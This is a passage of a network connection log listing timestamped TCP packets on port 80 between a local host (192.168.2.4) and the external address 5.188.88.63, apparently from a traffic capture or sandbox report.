Sep 7, 2021 16:02:36.761342049 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.761364937 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.761382103 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.761400938 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.761421919 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.761440039 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.761444092 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.761460066 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.761464119 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.761486053 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.761486053 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.761507988 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.761529922 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.761538029 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.761550903 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.761570930 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.761574030 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.761594057 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.761617899 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.761630058 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.761639118 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.761661053 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.761662006 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.761679888 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.761694908 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.761698008 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.761718988 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.761738062 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.761744022 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.761786938 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.830527067 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.830562115 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.830585957 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.830607891 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.830630064 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.830651999 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.830672979 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.830701113 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.830724001 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.830745935 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.830768108 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.830768108 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.830790997 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.830812931 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.830836058 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.830858946 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.830871105 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.830884933 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.830905914 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.830909014 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.830929995 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.830930948 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.830951929 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.830970049 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.830976009 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.830998898 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.831023932 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.831039906 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.831049919 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.831077099 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.831077099 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.831099987 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.831127882 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.831142902 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.831163883 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.831187010 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.831212044 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.831216097 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.831233978 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.831254005 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.831258059 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.831294060 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.831298113 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.831321001 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.831336975 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.831345081 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.831371069 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.831398010 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.831399918 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.831423998 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.831449032 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.831458092 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.831476927 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.831499100 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.831504107 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.831535101 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.831563950 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.831590891 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.831593990 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.831620932 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.831630945 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.831650019 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.831671953 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.831681967 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.831698895 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.831727028 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.831763029 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.831809998 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.899084091 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.899346113 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.899374962 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.899399996 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.899413109 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.899422884 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.899445057 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.899471045 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.899493933 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.899502039 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.899517059 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.899538994 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.899548054 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.899563074 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.899579048 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.899584055 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.899606943 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.899630070 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.899632931 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.899657011 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.899677992 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.899681091 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.899703979 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.899725914 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.899728060 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.899750948 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.899772882 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.899792910 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.899795055 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.899817944 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.899841070 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.899842978 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.899867058 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.899872065 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.899890900 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.899914026 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.899914026 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.899935961 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.899951935 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.899956942 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.899979115 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.900002003 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.900012970 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.900027990 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.900047064 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.900051117 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.900070906 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.900093079 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.900099039 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.900115967 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.900137901 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.900149107 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.900160074 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.900182009 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.900194883 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.900207996 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.900229931 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.900238037 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.900253057 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.900274038 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.900285959 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.900300026 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.900322914 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.900333881 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.900346994 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.900368929 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.900373936 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.900393963 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.900417089 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.900427103 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.900468111 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.967706919 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.967811108 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.967874050 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.967874050 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.967945099 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.968060017 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.968089104 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.968153954 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.968215942 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.968281984 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.968343019 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.968341112 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.968372107 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.968409061 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.968471050 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.968486071 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.968529940 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.968590021 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.968601942 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.968673944 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.968745947 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.968766928 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.969036102 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.969110966 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.969527006 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.969929934 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.970025063 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.970170021 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.970314026 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.970556974 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.970619917 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.970777035 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.970848083 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.971009016 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.971259117 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.971324921 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.971354961 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.971527100 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.971754074 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.971851110 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.972177029 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.972246885 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.972301006 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.972387075 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.972445011 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.972474098 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.972549915 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.972615004 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.972635984 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.972696066 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.972768068 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.972824097 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.972829103 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.972886086 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.972886086 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.972961903 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.973004103 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.973062992 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.973078966 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.973123074 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.973134041 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.973190069 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.973229885 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.973242998 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.973285913 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.973381042 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.973438978 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.973443985 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.973501921 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:36.975486040 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.975804090 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:36.975924015 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.045115948 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.045171976 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.045222998 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.045258999 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.045290947 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.045296907 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.045345068 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.045368910 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.045381069 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.045406103 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.045417070 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.045485020 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.045485973 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.045525074 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.045550108 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.045578957 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.045610905 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.045614004 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.045630932 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.045650959 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.045672894 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.045705080 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.045711994 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.045717001 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.045739889 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.045744896 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.045785904 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.045805931 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.045819044 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.045834064 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.045882940 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.045927048 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.045928001 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.045955896 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.045969009 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.046000004 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.046057940 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.046075106 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.046093941 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.046117067 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.046139956 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.046159029 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.046185970 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.046202898 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.046205044 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.046227932 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.046233892 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.046267986 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.046283960 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.046322107 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.046356916 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.046395063 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.046428919 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.046432018 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.046437979 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.046484947 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.046534061 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.046544075 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.046552896 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.046591997 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.046602964 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.046643972 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.046705961 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.046730042 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.046778917 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.046808004 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.046818972 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.046823978 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.046829939 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.046854019 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.046902895 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.046926975 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.046945095 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.046967030 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.046979904 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.047014952 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.047038078 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.047099113 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.047125101 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.047234058 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.047265053 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.047306061 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.047327995 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.047360897 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.047389984 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.047420025 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.047447920 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.047454119 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.047488928 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.047519922 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.047538996 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.047561884 CEST	49742	80	192.168.2.4	5.188.88.63
